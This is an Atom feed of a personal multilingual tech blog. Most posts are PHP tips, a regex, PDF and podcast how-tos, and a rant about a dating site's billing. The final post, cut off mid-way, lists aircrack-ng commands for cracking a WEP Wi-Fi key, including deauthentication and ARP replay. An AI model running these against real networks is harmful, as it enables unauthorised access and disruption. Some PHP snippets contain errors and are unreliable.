<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6347806650948961649</id><updated>2012-01-07T20:40:59.622-06:00</updated><category term='phänomenal egal'/><category term='EZpdf'/><category term='reducir tamaño de PDF'/><category term='PHP'/><category term='lovemail'/><category term='bluff'/><category term='reducir PDF'/><category term='firstdate'/><category term='lovemails'/><category term='comprimir PDF'/><category term='firstdate.com'/><category term='Wifislax'/><title type='text'>Pathros</title><subtitle type='html'>Data Mining, IT consultant, Data Bases, PHP &amp;amp; MySQL</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-8203535843045814756</id><published>2012-01-07T19:46:00.006-06:00</published><updated>2012-01-07T20:29:50.580-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluff'/><category scheme='http://www.blogger.com/atom/ns#' term='firstdate'/><category scheme='http://www.blogger.com/atom/ns#' term='lovemails'/><category scheme='http://www.blogger.com/atom/ns#' term='firstdate.com'/><category scheme='http://www.blogger.com/atom/ns#' term='lovemail'/><title type='text'>Firstdate.com: Bluff, tjuvaktig, skittjänst.</title><content type='html'>Jag har betalat genom american express första månaden för "bara" 19kr.&lt;br /&gt;&lt;br /&gt;I ditt kontos menyn, kan du se "inställningar". Där "får" du välja om du vill betala automatiskt eller inte. Jag avaktiverade det. Jag ville inte att firstdate.com debitera mig, åtminstone jag skulle försätta att använda mitt konto, förstås.&lt;br /&gt;&lt;br /&gt;Du ser att du får många "lovemails". Alla skrivits av systemet. Det är lätt att gissa att de var inte skrivit av människor. I tre dagar har du redan mer än 50 lovemails ... efter några veckor har du fått hundratals.&lt;br /&gt;&lt;br /&gt;När du skriver till någon. Hur i helvete kommer hon/han att få veta att du inte är systemet som har skrivit??? Det betyder att dina chancer är 0.000000832% att kvinnan eller mannen kommer att läsa ditt meddelande.&lt;br /&gt;&lt;br /&gt;Och vad värre är om du vill skicka ditt email address, eller skype konto eller fejsbok, systemet kommet att radera dem!!! Till exempel: du skriver, ska vi chatta på skype? mitt konto är skype.skype. ---&gt; systemet visar det ofullständigt: ska vi chatta på skype? mitt konto är s.&lt;br /&gt;&lt;br /&gt;Innan nästa månaden började, hade jag redan mitt konto raderat. (Eftersom firstdate FUNKAR inte!!! du kommer aldrig att kunna få kontakt med någon på grund av deras skitmassor lovemails. Bara spam från det eget systemet!!!&lt;br /&gt;&lt;br /&gt;De har även debiterat!!! 29.90 euro!!! Men jag hade ju redan avaktiverat automatiskt betalning!!! det kan inte va möjligt!!!. Värre ännu, en månad senare hade dem debiterat på nytt 39.90 Euro!!!! Vad fan, firstdate.com ????&lt;br /&gt;&lt;br /&gt;Förstås hade jag skrivit dem ... inget svar. aldrig.&lt;br /&gt;&lt;br /&gt;Det jag bestämde att göra först var att anullera mitt kreditkort. I första gång då firstskitdate.com har debiterat, fick jag veta på banken att de skulle inte längre låta firstdate.com att debitera mig. Det var en bluff. Firstdate debiterade igen! Skiten!&lt;br /&gt;&lt;br /&gt;Om du har redan betalat, du borde omedelbart anullera ditt kreditkort!&lt;br /&gt;Om du tänker betala. Gör det inte! Dina lovemails är bara spam!!! de kommer inte från "människor" som är intresserad på dig. Antagligen många profiler är bluff!&lt;br /&gt;&lt;br /&gt;Firstdate.com kommer att debitera dig automatiskt, det spelar ingen roll om du har denna inställning avaktiverat.&lt;br /&gt;&lt;br /&gt;Firstdate.com tillåta dig inte att skicka email adresser, msn, skype, osv. Systemet kommer att radera denna del av informationen.&lt;br /&gt;&lt;br /&gt;Firstdate.com verkar att sälja eller ge alla e-postanvändare. Du får senare e-post frå ryska tjejen (scammers) "som söker en man för dem". De vill bara ha dina pengar. Tro mig.&lt;br /&gt;&lt;br /&gt;Jag vill vendeta. Jag vill hämnas. Om du vill hjälpa. Du är välkommen.&lt;br /&gt;&lt;br /&gt;Mer information:&lt;br /&gt;http://www.aboutus.org/FirstDate.com&lt;br /&gt;http://whois.domaintools.com/firstdate.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-8203535843045814756?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/8203535843045814756/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=8203535843045814756' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/8203535843045814756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/8203535843045814756'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2012/01/firstdatecom-bluff-tjuvaktig-skittjanst.html' title='Firstdate.com: Bluff, tjuvaktig, skittjänst.'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-9212788759905721497</id><published>2011-10-20T08:18:00.008-05:00</published><updated>2012-01-07T20:40:59.631-06:00</updated><title type='text'>cómo bajar los podcasts desde el explicador.info</title><content type='html'>Primero, localiza tu podcast preferido. Una vez hecho esto, hay que dar clic derecho sobre el podcast en vivo y elegir "ver código fuente".&lt;br /&gt;en el código fuente, digamos, queremos bajar el programa de steve jobs 2, el nombre del podcast es 111018, lo que significa la fecha en el día que se transmitió el programa. &lt;br /&gt;entonces, estando ya en el código fuente, presiona las teclas "control+F" (control efe)&lt;br /&gt;(con el fin de abrir un cuadro de texto para la búsqueda de un texto específico) y teclea "111018". le das buscar siguiente, siguiente , ... hasta que encuentres una liga que termine en .mp3&lt;br /&gt;así, por ejemplo, el programa 2 de steve jobs encontrado en dicho código fuente es:&lt;br /&gt;www.elexplicador.info/audio/111018_el_explicador.mp3&lt;br /&gt;&lt;br /&gt;y ya encarrerados, el programa 1 de steve jobs es:&lt;br /&gt;http://www.elexplicador.info/audio/111011_el_explicador.mp3&lt;br /&gt;VOILÀ!!!!&lt;br /&gt;&lt;br /&gt;PS: ah, me acabo de dar cuenta que la página viejita del explicador.info aún existe y te deja bajar los podcasts sin problema (sólo hay que agregarle /elexplicador.xml)&lt;br /&gt;www.elexplicador.info/elexplicador.xml&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-9212788759905721497?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/9212788759905721497/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=9212788759905721497' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/9212788759905721497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/9212788759905721497'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2011/10/como-bajar-los-podcasts-desde-el.html' title='cómo bajar los podcasts desde el explicador.info'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-4904068123876604198</id><published>2011-10-16T15:25:00.003-05:00</published><updated>2011-10-16T15:36:20.531-05:00</updated><title type='text'>migrar de la función obsoleta (deprecated) ereg() a preg_match</title><content type='html'>Tengo yo scripts en PHP que utilizaban la función ereg().&lt;br /&gt;Cuando actualicé la versión PHP que utilizaba, resulta que me salían errores o warnings en mis proyectos php.&lt;br /&gt;&lt;br /&gt;El problema básicamente salía de las líneas que contenían la función ereg(). La función que debe utilizarse en su lugar es la función preg_match().&lt;br /&gt;&lt;br /&gt;Para hacer esta conversión, hay que realizar lo siguiente:&lt;br /&gt;&lt;br /&gt;1) sustituir el nombre &lt;span style="font-style:italic;"&gt;ereg()&lt;/span&gt; por &lt;span style="font-style:italic;"&gt;preg_match()&lt;/span&gt;.&lt;br /&gt;2) al final de la función, agregar /i después del símbolo $&lt;br /&gt;3) la función debe empezar con &lt;span style="font-style:italic;"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ejemplo, si originalmente en el código se tenía:&lt;br /&gt;&lt;br /&gt;if (!ereg("^\[?[0-9\.]+\]?$", $email_array[1])) {&lt;br /&gt;&lt;br /&gt;debe quedar como:&lt;br /&gt;&lt;br /&gt;if (!preg_match("/^\[?[0-9\.]+\]?$/i", $email_array[1])) {&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-4904068123876604198?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/4904068123876604198/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=4904068123876604198' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/4904068123876604198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/4904068123876604198'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2011/10/migrar-de-la-funcion-obsoleta.html' title='migrar de la función obsoleta (deprecated) ereg() a preg_match'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-1529086457384537691</id><published>2011-08-21T14:40:00.002-05:00</published><updated>2011-08-21T14:42:57.810-05:00</updated><title type='text'>Regular expression to validate numbers from 0 to 100 only.</title><content type='html'>After looking for this particular regular expression through google without success, i could finally write it after reading and watching several tutorials:&lt;br /&gt;&lt;br /&gt;The expression is:&lt;br /&gt;&lt;br /&gt;^[0-9]?[0-9]$|100&lt;br /&gt;&lt;br /&gt;you can test it on line at: http://www.nvcc.edu/home/drodgers/ceu/resources/test_regexp.asp&lt;br /&gt;&lt;br /&gt;ciao. &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-1529086457384537691?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/1529086457384537691/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=1529086457384537691' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/1529086457384537691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/1529086457384537691'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2011/08/regular-expression-to-validate-numbers.html' title='Regular expression to validate numbers from 0 to 100 only.'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-504763477352257745</id><published>2011-08-11T20:27:00.009-05:00</published><updated>2011-08-11T21:54:49.369-05:00</updated><title type='text'>Cómo solucionar el error: "Notice: Undefined index: submit in..."</title><content type='html'>Antes trabajaba con el servidor appserv y con otro servidor con linux ... no me acuerdo la distribución, y no tenía problemas con mis aplicaciones web.&lt;br /&gt;Después viendo que muchos usan el XAMPP, me animé a probarlo.&lt;br /&gt;&lt;br /&gt;Una vez que ejecuté mis aplicaciones web, me salió el siguiente error:&lt;br /&gt;Notice: Undefined index: checkboxname2 in C:\xampp\htdocs\foroXXXX\xxg#s&amp;er_$o$r.php on line 848.&lt;br /&gt;&lt;br /&gt;y en esa línea lo que tengo es:&lt;br /&gt;php echo($_POST['apellido']);..."&lt;br /&gt;&lt;br /&gt;La explicación es que para el servidor no se le ha enviado ningún valor antes, ya que, digamos, el botón submit, no ha sido &lt;span style="font-style:italic;"&gt;presionado&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;entonces, hay que agregarle un if y un isset, y el echo lo quitamos:&lt;br /&gt;php if(isset($_POST['apellido'])) echo $POST['apellido'];..."&lt;br /&gt;&lt;br /&gt;Listo. Solucionado.&lt;br /&gt;&lt;br /&gt;Otro caso:&lt;br /&gt;si tengo dos opciones a verificar como:&lt;br /&gt;if($_POST['checkboxname2']=="ON" || $_POST['checkboxname']=="ON")&lt;br /&gt;&lt;br /&gt;La solución es:&lt;br /&gt;if(isset($_POST['checkboxname2'])=="ON" || isset($_POST['checkboxname'])=="ON")&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-504763477352257745?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/504763477352257745/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=504763477352257745' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/504763477352257745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/504763477352257745'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2011/08/como-solucionar-el-error-notice.html' title='Cómo solucionar el error: &quot;Notice: Undefined index: submit in...&quot;'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-773259314587357904</id><published>2011-01-31T17:47:00.003-06:00</published><updated>2011-01-31T17:53:14.328-06:00</updated><title type='text'>advice for passing string variable in PHP</title><content type='html'>advice for passing string variable in PHP - cómo pasar una variable si tiene espacios en PHP?&lt;br /&gt;&lt;br /&gt;For example, i want to pass a datetime variable using PHP to another PHP script.&lt;br /&gt;&lt;br /&gt;The main problem was how to handle the spaces, such as the following: 2011-01-29 08:50:00 ???&lt;br /&gt;well, my solution was to put together the variable using the explode function.&lt;br /&gt;&lt;br /&gt;So the variable must be converted to 2011-01-29_08:50:00, doing this, we have only one string.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;            $fecha_entrada=explode(" ",$datein);&lt;br /&gt;                $fecha_salida=explode(" ",$dateout);&lt;br /&gt;                &lt;br /&gt;                $datein2=$fecha_entrada[0]."_".$fecha_entrada[1];&lt;br /&gt;                $dateout2=$fecha_salida[0]."_".$fecha_salida[1]; &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;when the other script receives the variable, again with the explode() function we separate the string getting it back to its original value.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;$datein2 = $_GET['datein'];   //variable viene con guión, la vamos a quitar     &lt;br /&gt;$dateout2 = $_GET['dateout'];  //variable viene con guión, la vamos a quitar&lt;br /&gt;&lt;br /&gt;//procesando variables de fechas recibidas desde un error:&lt;br /&gt;$entree=explode("_",$datein2);     //separando variables del guión bajo&lt;br /&gt;$sortie=explode("_",$dateout2);&lt;br /&gt;&lt;br /&gt;$datein=$entree[0]." ".$entree[1]; // regresando las variables a su estado natural. ay ay ay!&lt;br /&gt;$dateout=$sortie[0]." ".$sortie[1];&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-773259314587357904?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/773259314587357904/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=773259314587357904' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/773259314587357904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/773259314587357904'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2011/01/advice-for-passing-string-variable-in.html' title='advice for passing string variable in PHP'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-6006760917409075510</id><published>2010-11-10T17:05:00.005-06:00</published><updated>2010-11-10T17:15:53.426-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comprimir PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='reducir tamaño de PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='reducir PDF'/><title type='text'>Comprimir un archivo PDF</title><content type='html'>&lt;strong&gt;Cómo comprimir un archivo PDF&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Después de estar buscando cómo comprimir un archivo en formato PDF, encontré la solución.&lt;br /&gt;&lt;br /&gt;Por ejemplo, mi caso es que escanée tres documentos cuyo peso total en un documento PDF era de 2.7MB. Mi problema era que para enviar dicho documentos a x página, el archivo PDF debía pesar como máximo 1MB.&lt;br /&gt;&lt;br /&gt;Entonces leí por ahi que igual y con el acrobat profesional se podría hacer. Pues bien, me fui a buscar una computadora que tuviera instalado el adobe acrobat 7.0 profesional para ver si era posible reducir el tamaño de mi documento. Afortunadamente lo logré. &lt;br /&gt;&lt;br /&gt;Lo que hay que hacer es lo siguiente:&lt;br /&gt;&lt;br /&gt;1.- abrir el archivo que se desea comprimir o reducir su tamaño con dicho programa.&lt;br /&gt;2.- seleccionar del menú "avanzadas" la opción "optimizador de PDF"&lt;br /&gt;&lt;br /&gt;listo, estando ahí una ventana se abrirá y te mostrará  los tipos de datos encontrados. Por ejemplo, si hay imágenes, puedes reducir el tamaño de las mismas. cuando terminas, se te aparecerá otra ventana (para guardar) el mismo archivo (pero ya con las reducciones). Pero mejor, antes de guardarlo, ponle otro nombre para que vayas viendo si la reducción te gustó o si querías menos o más. y así vas jugando.&lt;br /&gt;&lt;br /&gt;ciao!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-6006760917409075510?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/6006760917409075510/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=6006760917409075510' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6006760917409075510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/6006760917409075510'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2010/11/comprimir-un-archivo-pdf.html' title='Comprimir un archivo PDF'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-9197121921521385409</id><published>2010-08-10T10:58:00.004-05:00</published><updated>2010-08-10T11:22:21.172-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='EZpdf'/><title type='text'>EZpdf: How to print several pages given different variables in one PDF document</title><content type='html'>&lt;p&gt;I am using the ezpdf class in order to print several reports in PDF format using PHP programming.&lt;/p&gt;&lt;p&gt;I finally found a way to print different pages. &lt;/p&gt;&lt;p&gt;This is the situation:&lt;/p&gt;&lt;p&gt;for each page, my php script retrieves a specific variable value from a database to print a report. Then the page is generated and i add another page using $pdf-&gt;ezNewPage() function and so on until my loop finishes. &lt;/p&gt;&lt;p&gt;Finally i call the function $php-&gt;ezStream to print all the pages in just one PDF file.&lt;/p&gt;&lt;p&gt;here it's my code:&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;?php  //imprime_todos_pdf_08.php   Otros scripts usados: basic_format_pdf_08.php&lt;br /&gt;//script para imprimir todos los bloques en un sólo archivo pdf !!!  Sehr Geil! oder?&lt;br /&gt;include ('class.ezpdf.php');&lt;br /&gt;include('conn.inc');&lt;br /&gt;mysql_select_db('evaluacioneducativa',$link);&lt;br /&gt;&lt;br /&gt;//empezaremos aquí el loop, para cada bloque hay que imprimir el reporte:&lt;br /&gt;//buscando los distintos bloques de la generacion 2008&lt;br /&gt;$fetch_bloques=mysql_query("SELECT DISTINCT (CONCAT(.. AS bloque_seccion&lt;br /&gt;FROM bloque ...&lt;br /&gt;WHERE ...") or die('&lt;span style="color:red;"&gt;Hubo un error al buscar los bloques porque:&lt;/span&gt;&lt;br /&gt;'.mysql_error());&lt;br /&gt;&lt;br /&gt;//we first create a document pdf:&lt;br /&gt;$pdf =&amp;amp; new Cezpdf();&lt;br /&gt;//setting up a counter&lt;br /&gt;$contados=mysql_num_rows($fetch_bloques);&lt;br /&gt;$counter_pages=1; //initializing this counter so that we won't print the last page as a blank one.&lt;br /&gt;//for each variable found in the database:&lt;br /&gt;while($row_bloque=mysql_fetch_array($fetch_bloques))&lt;br /&gt;{//INICIO DEL SUPER WHILE&lt;br /&gt;   $bloque=$row_bloque['bloque_seccion'];&lt;br /&gt;   //echo "bloque: $bloque&lt;br /&gt;";&lt;br /&gt;   //vamos a imprimir el documento en cuestión:&lt;br /&gt;   include "basic_format_pdf_08.php";&lt;br /&gt;   //we open a new page using an IF clause to avoid printing the last page which will be a blank one&lt;br /&gt;   if($counter_pages&lt;$contados)&lt;br /&gt;   {&lt;br /&gt;       $pdf-&gt;ezNewPage();&lt;br /&gt;   }&lt;br /&gt;   $counter_pages++;&lt;br /&gt;  &lt;br /&gt;}//FIN DEL SUPER WHILE&lt;br /&gt;&lt;br /&gt;//finally we print the whole document&lt;br /&gt;$pdf-&gt;ezStream(); &lt;br /&gt;?&gt;&lt;br /&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6347806650948961649-9197121921521385409?l=pathros.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathros.blogspot.com/feeds/9197121921521385409/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6347806650948961649&amp;postID=9197121921521385409' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/9197121921521385409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6347806650948961649/posts/default/9197121921521385409'/><link rel='alternate' type='text/html' href='http://pathros.blogspot.com/2010/08/ezpdf-how-to-print-several-pages-given.html' title='EZpdf: How to print several pages given different variables in one PDF document'/><author><name>pathros</name><uri>http://www.blogger.com/profile/18057231994881627307</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_jw3j6grDn9w/SUveQlYpj3I/AAAAAAAAAHU/Y2puhVRS4wg/S220/DSC06389.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6347806650948961649.post-6639023772620358596</id><published>2010-07-18T22:40:00.006-05:00</published><updated>2010-07-18T22:53:39.661-05:00</updated><title type='text'>Auditoria de redes inalámbricas (simplificado)</title><content type='html'>&lt;p&gt;&lt;span style="font-size:180%;"&gt;Auditoria simplificada &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Primero anotar la siguiente información:&lt;/span&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;canal del AP&lt;/span&gt;&lt;/li&gt;&lt;li&gt;nombre del AP&lt;/li&gt;&lt;li&gt;Dirección MAC del AP&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;En la consola teclear los siguientes comandos:&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;#airodump-ng -w [nombre captura??] -c12 wlan0&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:times new roman;"&gt;en donde &lt;em&gt;-c12&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt; corresponde al número del canal y &lt;em&gt;wlan0&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt; al tipo de antena que se está utilizando (&lt;em&gt;alfa network 1&lt;/em&gt;). Para otros casos, puede ser &lt;em&gt;ath0&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt; cuando se utiliza, por ejemplo, una tarjeta PCMCIA.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:times new roman;"&gt;Luego proceder a abrir otras consolas y teclear los siguientes comandos ... todavía sin teclear &lt;em&gt;enter.&lt;/em&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;#aireplay-ng wlan0 --fakeauth 135 -e [nombre AP] -a [MAC AP] -h [mi MAC]&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;#aireplay-ng wlan0 --arpreplay -e [nombre AP] -b [MAC AP] -h [mi MAC] -x 1000&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;#aireplay-ng wlan0 --deauth 0 -e [nombre AP] -a [MAC AP] -h [mi MAC]&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:times new roman;"&gt;Finalmente presionamos a todas enter y listo. A capturar IVs cuando sea posible.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:times new roman;"&gt;Para obtener la clave:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new;"&gt;#aircrack-ptw nombre captura??.cap&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:times new roman;"&gt;esperamos un rato y&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br 